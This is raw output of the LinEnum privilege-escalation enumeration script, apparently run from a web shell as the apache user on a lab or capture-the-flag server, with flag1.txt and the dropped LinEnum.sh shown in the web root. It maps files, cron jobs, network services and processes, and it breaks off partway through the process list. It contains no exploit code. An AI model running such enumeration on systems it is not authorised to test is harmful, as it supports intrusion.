-rw-r--r--. 1 apache apache 5061 May 10 10:25 /var/www/html/class/smarty/debug.tpl
-rw-r--r--. 1 apache apache 3664 May 10 10:25
/var/www/html/class/smarty/plugins/block.textformat.php
-rw-r--r--. 1 apache apache 1823 May 10 10:25
/var/www/html/class/smarty/plugins/function.counter.php
-rw-r--r--. 1 apache apache 3308 May 10 10:25
/var/www/html/class/smarty/plugins/function.cycle.php
-rw-r--r--. 1 apache apache 8068 May 10 10:25
/var/www/html/class/smarty/plugins/function.fetch.php

-rw-r--r--. 1 apache apache 9592 May 10 10:25
/var/www/html/class/smarty/plugins/function.html_checkboxes.php
-rw-r--r--. 1 apache apache 5668 May 10 10:25
/var/www/html/class/smarty/plugins/function.html_image.php
-rw-r--r--. 1 apache apache 8246 May 10 10:25
/var/www/html/class/smarty/plugins/function.html_options.php
-rw-r--r--. 1 apache apache 8434 May 10 10:25
/var/www/html/class/smarty/plugins/function.html_radios.php
-rw-r--r--. 1 apache apache 15183 May 10 10:25
/var/www/html/class/smarty/plugins/function.html_select_date.php
-rw-r--r--. 1 apache apache 14375 May 10 10:25
/var/www/html/class/smarty/plugins/function.html_select_time.php
-rw-r--r--. 1 apache apache 5375 May 10 10:25
/var/www/html/class/smarty/plugins/function.html_table.php
-rw-r--r--. 1 apache apache 5386 May 10 10:25
/var/www/html/class/smarty/plugins/function.mailto.php
-rw-r--r--. 1 apache apache 3785 May 10 10:25
/var/www/html/class/smarty/plugins/function.math.php
-rw-r--r--. 1 apache apache 4211 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.capitalize.php
-rw-r--r--. 1 apache apache 2691 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.date_format.php
-rw-r--r--. 1 apache apache 3929 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.debug_print_var.php
-rw-r--r--. 1 apache apache 9669 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.escape.php
-rw-r--r--. 1 apache apache 2346 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.mb_wordwrap.php
-rw-r--r--. 1 apache apache 1657 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.regex_replace.php
-rw-r--r--. 1 apache apache 999 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.replace.php
-rw-r--r--. 1 apache apache 756 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.spacify.php
-rw-r--r--. 1 apache apache 2231 May 10 10:25
/var/www/html/class/smarty/plugins/modifier.truncate.php
-rw-r--r--. 1 apache apache 612 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.cat.php
-rw-r--r--. 1 apache apache 918 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.count_characters.php
-rw-r--r--. 1 apache apache 659 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.count_paragraphs.php
-rw-r--r--. 1 apache apache 745 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.count_sentences.php
-rw-r--r--. 1 apache apache 979 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.count_words.php
-rw-r--r--. 1 apache apache 770 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.default.php

-rw-r--r--. 1 apache apache 5125 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.escape.php
-rw-r--r--. 1 apache apache 752 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.from_charset.php
-rw-r--r--. 1 apache apache 712 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.indent.php
-rw-r--r--. 1 apache apache 724 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.lower.php
-rw-r--r--. 1 apache apache 340 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.noprint.php
-rw-r--r--. 1 apache apache 574 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.string_format.php
-rw-r--r--. 1 apache apache 798 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.strip.php
-rw-r--r--. 1 apache apache 720 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.strip_tags.php
-rw-r--r--. 1 apache apache 746 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.to_charset.php
-rw-r--r--. 1 apache apache 1190 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.unescape.php
-rw-r--r--. 1 apache apache 678 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.upper.php
-rw-r--r--. 1 apache apache 1112 May 10 10:25
/var/www/html/class/smarty/plugins/modifiercompiler.wordwrap.php
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/var/www/html/class/smarty/plugins/outputfilter.trimwhitespace.php
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/var/www/html/class/smarty/plugins/shared.escape_special_chars.php
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/var/www/html/class/smarty/plugins/shared.literal_compiler_param.php
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/var/www/html/class/smarty/plugins/shared.make_timestamp.php
-rw-r--r--. 1 apache apache 1790 May 10 10:25
/var/www/html/class/smarty/plugins/shared.mb_str_replace.php
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/var/www/html/class/smarty/plugins/shared.mb_unicode.php
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/var/www/html/class/smarty/plugins/variablefilter.htmlspecialchars.php
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/var/www/html/class/smarty/sysplugins/smarty_cacheresource.php
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/var/www/html/class/smarty/sysplugins/smarty_cacheresource_custom.php
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/var/www/html/class/smarty/sysplugins/smarty_cacheresource_keyvaluestore.php
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/var/www/html/class/smarty/sysplugins/smarty_data.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_block.php

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/var/www/html/class/smarty/sysplugins/smarty_internal_compile_append.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_compile_block_parent.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_compile_break.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_compile_debug.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_compile_private_object_block_function.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_method_addautoloadfilters.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_method_getconfigvars.php

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/var/www/html/class/smarty/sysplugins/smarty_internal_method_getdefaultmodifiers.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_method_getglobal.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_method_getregisteredobject.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_method_getstreamvariable.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_method_gettags.php
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/var/www/html/class/smarty/sysplugins/smarty_internal_method_gettemplatevars.php
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/var/www/html/class/smarty/sysplugins/smartyexception.php
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-rw-r--r--. 1 apache apache 63379 May 10 10:25 /var/www/html/img/N95 Mask.JPG
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-rw-r--r--. 1 apache apache 142 May 10 10:39 /var/www/html/settings/config.php
-rw-r--r--. 1 apache apache 64548 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-grid.css
-rw-r--r--. 1 apache apache 151749 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-grid.css.map
-rw-r--r--. 1 apache apache 48488 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-grid.min.css
-rw-r--r--. 1 apache apache 108539 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-grid.min.css.map
-rw-r--r--. 1 apache apache 4897 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-reboot.css
-rw-r--r--. 1 apache apache 76483 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-reboot.css.map
-rw-r--r--. 1 apache apache 4021 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-reboot.min.css
-rw-r--r--. 1 apache apache 32461 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap-reboot.min.css.map

```

-rw-r--r--. 1 apache apache 192348 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap.css
-rw-r--r--. 1 apache apache 492048 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap.css.map
-rw-r--r--. 1 apache apache 155758 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap.min.css
-rw-r--r--. 1 apache apache 625953 May 10 10:25
/var/www/html/vendor/bootstrap/css/bootstrap.min.css.map
-rw-r--r--. 1 apache apache 222911 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.bundle.js
-rw-r--r--. 1 apache apache 402249 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.bundle.js.map
-rw-r--r--. 1 apache apache 78635 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.bundle.min.js
-rw-r--r--. 1 apache apache 311949 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.bundle.min.js.map
-rw-r--r--. 1 apache apache 131637 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.js
-rw-r--r--. 1 apache apache 250568 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.js.map
-rw-r--r--. 1 apache apache 58072 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.min.js
-rw-r--r--. 1 apache apache 190253 May 10 10:25
/var/www/html/vendor/bootstrap/js/bootstrap.min.js.map
-rw-r--r--. 1 apache apache 280364 May 10 10:25 /var/www/html/vendor/jquery/jquery.js
-rw-r--r--. 1 apache apache 88145 May 10 10:25 /var/www/html/vendor/jquery/jquery.min.js
-rw-r--r--. 1 apache apache 136397 May 10 10:25
/var/www/html/vendor/jquery/jquery.min.map
-rw-r--r--. 1 apache apache 227022 May 10 10:25 /var/www/html/vendor/jquery/jquery.slim.js
-rw-r--r--. 1 apache apache 71037 May 10 10:25
/var/www/html/vendor/jquery/jquery.slim.min.js
-rw-r--r--. 1 apache apache 108757 May 10 10:25
/var/www/html/vendor/jquery/jquery.slim.min.map
-rw-r--r-- 1 apache apache 5822 May 11 15:59 /var/www/html/index.html
-rw-r--r-- 1 apache apache 8102 May 11 16:08 /var/www/html/buynow.php
-rwxrwxr-x 1 apache apache 46631 Jul 15 02:30 /var/www/html/LinEnum.sh
-rw-r--r-- 1 apache apache 6764 Jul 15 02:35 /var/www/html/report-15-07-20
-rw-r--r--. 1 apache apache 21 May 10 11:22 /var/www/flag1.txt

```

[~] Hidden files:

```

-rw-r--r--. 1 root root 166 Dec  4 2019 /boot/.vmlinuz-4.18.0-147.el8.x86_64.hmac
-rw-r--r--. 1 root root 172 Apr  9 14:56 /boot/.vmlinuz-4.18.0-147.8.1.el8_1.x86_64.hmac
-rw-r--r-- 1 root root 0 Jul 15 00:07 /run/initramfs/.need_shutdown
-rw-----. 1 root root 0 May  9 14:06 /etc/.pwd.lock
-rw-r--r--. 1 root root 18 Nov  8 2019 /etc/skel/.bash_logout
-rw-r--r--. 1 root root 141 Nov  8 2019 /etc/skel/.bash_profile
-rw-r--r--. 1 root root 312 Nov  8 2019 /etc/skel/.bashrc

```

```

-rw-r--r--. 1 root root 129 Nov 12 2019 /etc/selinux/targeted/.policy.sha512
-rw-r--r--. 1 root root 208 May 9 14:04 /etc/.updated
-rw-r--r--. 1 root root 0 May 9 14:03 /var/lib/rpm/.dbenv.lock
-rw-r--r--. 1 root root 0 May 9 14:03 /var/lib/rpm/.rpm.lock
-rw-r--r--. 1 root root 0 May 9 15:05 /var/cache/dnf/.gpgkeyschecked.yum
-rw-r--r--. 1 root root 208 May 9 14:04 /var/.updated
-rw-r--r--. 1 apache apache 208 May 10 10:25 /var/www/html/_admin/.browserslistrc
-rw-r--r--. 1 apache apache 13 May 10 10:25 /var/www/html/_admin/.gitignore
-rw-r--r--. 1 apache apache 158 May 10 10:25 /var/www/html/_admin/.travis.yml
-rw-r--r--. 1 root root 166 Dec 4 2019 /usr/lib/modules/4.18.0-147.el8.x86_64/.vmlinuz.hmac
-rw-r--r--. 1 root root 172 Apr 9 14:56
/usr/lib/modules/4.18.0-147.8.1.el8_1.x86_64/.vmlinuz.hmac
-rw-r--r--. 1 root root 65 May 11 2019 /usr/lib64/.libcrypt.so.1.1.0.hmac
-rw-r--r--. 1 root root 65 Nov 8 2019 /usr/lib64/.libgcrypt.so.20.hmac
-rw-r--r--. 1 root root 65 May 11 2019 /usr/lib64/.libhogweed.so.4.5.hmac
-rw-r--r--. 1 root root 65 May 11 2019 /usr/lib64/.libnettle.so.6.5.hmac
-rw-r--r--. 1 root root 65 Apr 9 20:06 /usr/lib64/.libcrypto.so.1.1.1c.hmac
-rw-r--r--. 1 root root 65 Apr 9 20:06 /usr/lib64/.libssl.so.1.1.1c.hmac
-rw-r--r--. 1 root root 65 Nov 11 2019 /usr/lib64/.libgnutls.so.30.24.0.hmac
-rw-r--r--. 1 root root 36 May 9 14:07 /usr/share/fonts/abattis-cantarell/.uuid
-rw-r--r--. 1 root root 36 May 9 14:07 /usr/share/fonts/.uuid
-rw-r--r--. 1 root root 40 Nov 8 2019 /usr/share/man/man1/..1.gz
-rw-r--r--. 1 root root 42 Nov 8 2019 /usr/share/man/man5/.k5identity.5.gz
-rw-r--r--. 1 root root 39 Nov 8 2019 /usr/share/man/man5/.k5login.5.gz
-rw-r--r-- 1 root root 0 May 10 11:58 /.autorelabel

```

[-] Home directory contents:

```

total 24K
drwxr-xr-x. 5 root root 47 May 9 15:05 .
drwxr-xr-x. 127 root root 4.0K May 9 18:16 ..
drwxr-xr-x. 3 root root 4.0K May 9 15:05 error
drwxr-xr-x. 3 root root 8.0K May 9 15:38 icons
drwxr-xr-x. 3 root root 140 May 9 15:05 noindex

```

ENVIRONMENTAL

[-] Environment information:

```

USER=apache
PWD=/var/www/html
HOME=/usr/share/httpd
SHLVL=2
_=/usr/bin/env

```

[-] Path information:

```

/usr/local/bin:/usr/bin
dr-xr-xr-x. 2 root root 32768 May 9 19:32 /usr/bin

```


drwxr-xr-x. 2 root root 6 May 11 2019 /usr/local/bin

[-] Available shells:

/bin/sh

/bin/bash

/usr/bin/sh

/usr/bin/bash

[-] Current umask value:

0022

u=rwx,g=rx,o=rx

[-] umask value as specified in /etc/login.defs:

UMASK 077

[-] Password and storage information:

PASS_MAX_DAYS 99999

PASS_MIN_DAYS 0

PASS_WARN_AGE 7

ENCRYPT_METHOD SHA512

JOBS/TASKS

[-] Cron jobs:

-rw-r--r--. 1 root root 0 Nov 8 2019 /etc/cron.deny

-rw-r--r--. 1 root root 451 May 11 2019 /etc/crontab

/etc/cron.d:

total 20

drwxr-xr-x. 2 root root 39 May 10 11:51 .

drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..

-rw-r--r--. 1 root root 128 Nov 8 2019 0hourly

-rw-r--r--. 1 root root 108 Nov 8 2019 raid-check

/etc/cron.daily:

total 20

drwxr-xr-x. 2 root root 36 May 10 11:07 .

drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..

-rwx-----. 1 root root 3325 Jul 15 2019 csget

-rwxr-xr-x. 1 root root 189 Jan 4 2018 logrotate

/etc/cron.hourly:

total 16

drwxr-xr-x. 2 root root 22 May 9 14:08 .

```
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..
-rwxr-xr-x.  1 root root  575 Nov  8 2019 0anacron
```

/etc/cron.monthly:

total 12

```
drwxr-xr-x.  2 root root  6 May 11 2019 .
```

```
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..
```

/etc/cron.weekly:

total 12

```
drwxr-xr-x.  2 root root  6 May 11 2019 .
```

```
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..
```

[-] Crontab contents:

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

MAILTO=root

For details see man 4 crontabs

Example of job definition:

.----- minute (0 - 59)

| .----- hour (0 - 23)

| | .----- day of month (1 - 31)

| | | .----- month (1 - 12) OR jan,feb,mar,apr ...

| | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat

| | | | |

* * * * * user-name command to be executed

[-] Anacron jobs and associated file permissions:

```
-rw-r--r--. 1 root root 541 Nov  8 2019 /etc/anacrontab
```

/etc/anacrontab: configuration file for anacron

See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh

PATH=/sbin:/bin:/usr/sbin:/usr/bin

MAILTO=root

the maximal random delay added to the base delay of the jobs

RANDOM_DELAY=45

the jobs will be started during the following hours only

START_HOURS_RANGE=3-22

#period in days delay in minutes job-identifier command

1 5 cron.daily nice run-parts /etc/cron.daily

7 25 cron.weekly nice run-parts /etc/cron.weekly

@monthly 45 cron.monthly nice run-parts /etc/cron.monthly

[-] When were jobs last executed (/var/spool/anacron contents):

total 4

drwxr-xr-x. 2 root root 63 May 9 14:08 .

drwxr-xr-x. 9 root root 97 May 9 14:10 ..

-rw-----. 1 root root 9 May 9 15:41 cron.daily

-rw-----. 1 root root 0 May 9 14:08 cron.monthly

-rw-----. 1 root root 0 May 9 14:08 cron.weekly

[-] Systemd timers:

NEXT	LEFT	LAST	PASSED	UNIT
------	------	------	--------	------

ACTIVATES

Wed 2020-07-15 03:17:12 BST 41min left Wed 2020-07-15 02:17:11 BST 18min ago

dnf-makecache.timer dnf-makecache.service

Thu 2020-07-16 00:00:00 BST 21h left Wed 2020-07-15 00:00:02 BST 2h 35min ago

unbound-anchor.timer unbound-anchor.service

Thu 2020-07-16 00:22:04 BST 21h left Wed 2020-07-15 00:22:04 BST 2h 13min ago

systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

3 timers listed.

NETWORKING

[-] Network and IP info:

enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.1.28 netmask 255.255.255.0 broadcast 192.168.1.255

inet6 2a01:e35:2fef:d7e0:6e23:8bdf:3142:f51f prefixlen 64 scopeid 0x0<global>

inet6 fe80::be27:698c:76fc:49ec prefixlen 64 scopeid 0x20<link>

ether 08:00:27:c8:0c:11 txqueuelen 1000 (Ethernet)

RX packets 572243 bytes 108920245 (103.8 MiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 538281 bytes 108609988 (103.5 MiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

enp0s8: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500

ether 08:00:27:44:9f:65 txqueuelen 1000 (Ethernet)

RX packets 0 bytes 0 (0.0 B)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10<host>

loop txqueuelen 1000 (Local Loopback)

RX packets 62627 bytes 305012261 (290.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 62627 bytes 305012261 (290.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 192.168.122.1 netmask 255.255.255.0 broadcast 192.168.122.255
ether 52:54:00:aa:74:48 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

virbr0-nic: flags=4098<BROADCAST,MULTICAST> mtu 1500
ether 52:54:00:aa:74:48 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

[~] Nameserver(s):
nameserver 192.168.1.254
nameserver fd0f:ee:b0::1

[~] Nameserver(s):
Global
LLMNR setting: yes
MulticastDNS setting: yes
DNSOverTLS setting: no
DNSSEC setting: allow-downgrade
DNSSEC supported: yes
Current DNS Server: 192.168.1.254
DNS Servers: 192.168.1.254
fd0f:ee:b0::1
DNSSEC NTA: 10.in-addr.arpa
16.172.in-addr.arpa
168.192.in-addr.arpa
17.172.in-addr.arpa
18.172.in-addr.arpa
19.172.in-addr.arpa
20.172.in-addr.arpa
21.172.in-addr.arpa
22.172.in-addr.arpa
23.172.in-addr.arpa
24.172.in-addr.arpa
25.172.in-addr.arpa

26.172.in-addr.arpa
27.172.in-addr.arpa
28.172.in-addr.arpa
29.172.in-addr.arpa
30.172.in-addr.arpa
31.172.in-addr.arpa
corp
d.f.ip6.arpa
home
internal
intranet
lan
local
private
test

Link 5 (virbr0-nic)

Current Scopes: none

LLMNR setting: yes

MulticastDNS setting: no

DNSOverTLS setting: no

DNSSEC setting: allow-downgrade

DNSSEC supported: yes

Link 4 (virbr0)

Current Scopes: none

LLMNR setting: yes

MulticastDNS setting: no

DNSOverTLS setting: no

DNSSEC setting: allow-downgrade

DNSSEC supported: yes

Link 3 (enp0s8)

Current Scopes: none

LLMNR setting: yes

MulticastDNS setting: no

DNSOverTLS setting: no

DNSSEC setting: allow-downgrade

DNSSEC supported: yes

Link 2 (enp0s3)

Current Scopes: DNS LLMNR/IPv4 LLMNR/IPv6

LLMNR setting: yes

MulticastDNS setting: no

DNSOverTLS setting: no

DNSSEC setting: allow-downgrade

DNSSEC supported: yes

Current DNS Server: 192.168.1.254

DNS Servers: 192.168.1.254
fd0f:ee:b0::1
DNS Domain: ~.

[-] Listening TCP:

Active Internet connections (only servers)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	0.0.0.0:5355	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:111	0.0.0.0:*	LISTEN	-
tcp	0	0	192.168.122.1:53	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:443	0.0.0.0:*	LISTEN	-
tcp6	0	0	:::3306	:::*	LISTEN	-
tcp6	0	0	:::5355	:::*	LISTEN	-
tcp6	0	0	:::111	:::*	LISTEN	-
tcp6	0	0	:::80	:::*	LISTEN	-
tcp6	0	0	:::22	:::*	LISTEN	-

[-] Listening UDP:

Active Internet connections (only servers)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
udp	0	0	0.0.0.0:5355	0.0.0.0:*	-	
udp	0	0	127.0.0.1:323	0.0.0.0:*	-	
udp	0	0	192.168.122.1:53	0.0.0.0:*	-	
udp	0	0	127.0.0.53:53	0.0.0.0:*	-	
udp	0	0	0.0.0.0:67	0.0.0.0:*	-	
udp	0	0	192.168.1.28:68	0.0.0.0:*	-	
udp	0	0	0.0.0.0:111	0.0.0.0:*	-	
udp6	0	0	:::5355	:::*	-	
udp6	0	0	:::1:323	:::*	-	
udp6	0	0	:::111	:::*	-	

SERVICES

[-] Running processes:

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	0.0	1.0	241956	9136	?	Ss	00:07	0:01	/usr/lib/systemd/systemd
--switched-root --system --deserialize 18										
root	2	0.0	0.0	0	0	?	S	00:07	0:00	[kthreadd]
root	3	0.0	0.0	0	0	?	I<	00:07	0:00	[rcu_gp]
root	4	0.0	0.0	0	0	?	I<	00:07	0:00	[rcu_par_gp]
root	6	0.0	0.0	0	0	?	I<	00:07	0:00	[kworker/0:0H-kblockd]
root	7	0.0	0.0	0	0	?	I	00:07	0:00	[kworker/u8:0-flush-253:0]
root	8	0.0	0.0	0	0	?	I<	00:07	0:00	[mm_percpu_wq]

root	9	0.0	0.0	0	0 ?	S	00:07	0:00	[ksoftirqd/0]
root	10	0.0	0.0	0	0 ?	I	00:07	0:02	[rcu_sched]
root	11	0.0	0.0	0	0 ?	S	00:07	0:00	[migration/0]
root	12	0.0	0.0	0	0 ?	S	00:07	0:00	[watchdog/0]
root	13	0.0	0.0	0	0 ?	S	00:07	0:00	[cpuhp/0]
root	14	0.0	0.0	0	0 ?	S	00:07	0:00	[cpuhp/1]
root	15	0.0	0.0	0	0 ?	S	00:07	0:00	[watchdog/1]
root	16	0.0	0.0	0	0 ?	S	00:07	0:00	[migration/1]
root	17	0.0	0.0	0	0 ?	S	00:07	0:00	[ksoftirqd/1]
root	19	0.0	0.0	0	0 ?	I<	00:07	0:00	[kworker/1:0H-kblockd]
root	20	0.0	0.0	0	0 ?	S	00:07	0:00	[cpuhp/2]
root	21	0.0	0.0	0	0 ?	S	00:07	0:00	[watchdog/2]
root	22	0.0	0.0	0	0 ?	S	00:07	0:00	[migration/2]
root	23	0.0	0.0	0	0 ?	S	00:07	0:00	[ksoftirqd/2]
root	24	0.0	0.0	0	0 ?	I	00:07	0:00	[kworker/2:0-cgroup_pidlist_destroy]
root	25	0.0	0.0	0	0 ?	I<	00:07	0:00	[kworker/2:0H-kblockd]
root	26	0.0	0.0	0	0 ?	S	00:07	0:00	[cpuhp/3]
root	27	0.0	0.0	0	0 ?	S	00:07	0:00	[watchdog/3]
root	28	0.0	0.0	0	0 ?	S	00:07	0:00	[migration/3]
root	29	0.0	0.0	0	0 ?	S	00:07	0:00	[ksoftirqd/3]
root	31	0.0	0.0	0	0 ?	I<	00:07	0:00	[kworker/3:0H-kblockd]
root	33	0.0	0.0	0	0 ?	S	00:07	0:00	[kdevtmpfs]
root	34	0.0	0.0	0	0 ?	I<	00:07	0:00	[netns]
root	35	0.0	0.0	0	0 ?	S	00:07	0:00	[kauditd]
root	37	0.0	0.0	0	0 ?	S	00:07	0:00	[khungtaskd]
root	38	0.0	0.0	0	0 ?	S	00:07	0:00	[oom_reaper]
root	39	0.0	0.0	0	0 ?	I<	00:07	0:00	[writeback]
root	40	0.0	0.0	0	0 ?	S	00:07	0:00	[kcompactd0]
root	41	0.0	0.0	0	0 ?	SN	00:07	0:00	[ksmd]
root	42	0.0	0.0	0	0 ?	SN	00:07	0:00	[khugepaged]
root	43	0.0	0.0	0	0 ?	I<	00:07	0:00	[crypto]
root	44	0.0	0.0	0	0 ?	I<	00:07	0:00	[kintegrityd]
root	45	0.0	0.0	0	0 ?	I<	00:07	0:00	[kblockd]
root	46	0.0	0.0	0	0 ?	I<	00:07	0:00	[tpm_dev_wq]
root	47	0.0	0.0	0	0 ?	I<	00:07	0:00	[md]
root	48	0.0	0.0	0	0 ?	I<	00:07	0:00	[edac-poller]
root	49	0.0	0.0	0	0 ?	S	00:07	0:00	[watchdogd]
root	68	0.0	0.0	0	0 ?	S	00:07	0:00	[kswapd0]
root	161	0.0	0.0	0	0 ?	I<	00:07	0:00	[kthrotld]
root	162	0.0	0.0	0	0 ?	I<	00:07	0:00	[acpi_thermal_pm]
root	163	0.0	0.0	0	0 ?	I<	00:07	0:00	[kmpath_rdacd]
root	164	0.0	0.0	0	0 ?	I<	00:07	0:00	[kaluad]
root	166	0.0	0.0	0	0 ?	I<	00:07	0:00	[ipv6_addrconf]
root	167	0.0	0.0	0	0 ?	I<	00:07	0:00	[kstrp]
root	293	0.0	0.0	0	0 ?	I	00:07	0:02	[kworker/0:4-events]
root	458	0.0	0.0	0	0 ?	I	00:07	0:00	[kworker/3:3-cgroup_destroy]
root	462	0.0	0.0	0	0 ?	I<	00:07	0:00	[ata_sff]
root	469	0.0	0.0	0	0 ?	S	00:07	0:00	[scsi_eh_0]

```

root    471 0.0 0.0    0 0 ?    I< 00:07 0:00 [scsi_tmf_0]
root    474 0.0 0.0    0 0 ?    I  00:07 0:00 [kworker/u8:2-flush-8:0]
root    476 0.0 0.0    0 0 ?    S  00:07 0:00 [scsi_eh_1]
root    477 0.0 0.0    0 0 ?    I< 00:07 0:00 [scsi_tmf_1]
root    478 0.0 0.0    0 0 ?    S  00:07 0:00 [scsi_eh_2]
root    479 0.0 0.0    0 0 ?    I< 00:07 0:00 [scsi_tmf_2]
root    505 0.0 0.0    0 0 ?    S  00:07 0:00 [irq/18-vmwgfx]
root    506 0.0 0.0    0 0 ?    I< 00:07 0:00 [ttm_swap]
root    510 0.0 0.0    0 0 ?    I< 00:07 0:00 [kworker/0:1H-kblockd]
root    575 0.0 0.0    0 0 ?    I< 00:07 0:00 [kdmflush]
root    584 0.0 0.0    0 0 ?    I< 00:07 0:00 [kdmflush]
root    601 0.0 0.0    0 0 ?    I  00:07 0:01 [kworker/3:4-events_power_efficient]
root    607 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfsalloc]
root    609 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs_mru_cache]
root    613 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs-buf/dm-0]
root    614 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs-data/dm-0]
root    615 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs-conv/dm-0]
root    617 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs-cil/dm-0]
root    618 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs-reclaim/dm-]
root    619 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs-log/dm-0]
root    620 0.0 0.0    0 0 ?    I< 00:07 0:00 [xfs-eofblocks/d]
root    621 0.0 0.0    0 0 ?    S  00:07 0:01 [xfsaild/dm-0]
root    622 0.0 0.0    0 0 ?    I< 00:07 0:00 [kworker/3:1H-kblockd]
root    717 0.0 0.8 90616 7264 ?    Ss 00:07 0:00 /usr/lib/systemd/systemd-journald
root    738 0.0 0.0    0 0 ?    I< 00:07 0:00 [kworker/1:1H-xfs-log/dm-0]
root    751 0.0 0.9 107520 7636 ?    Ss 00:07 0:00 /usr/lib/systemd/systemd-udev
root    778 0.0 0.0    0 0 ?    I< 00:07 0:00 [kworker/2:1H-kblockd]
root    846 0.0 0.0    0 0 ?    S  00:07 0:00 [jbd2/sda1-8]
root    847 0.0 0.0    0 0 ?    I< 00:07 0:00 [ext4-rsv-conver]
rpc      865 0.0 0.5 66468 4880 ?    Ss 00:07 0:00 /usr/bin/rpcbind -w -f
root    869 0.0 0.2 149348 2156 ?    S<sl 00:07 0:00 /sbin/auditd
root    871 0.0 0.2 47848 2016 ?    S< 00:07 0:00 /usr/sbin/sedispach
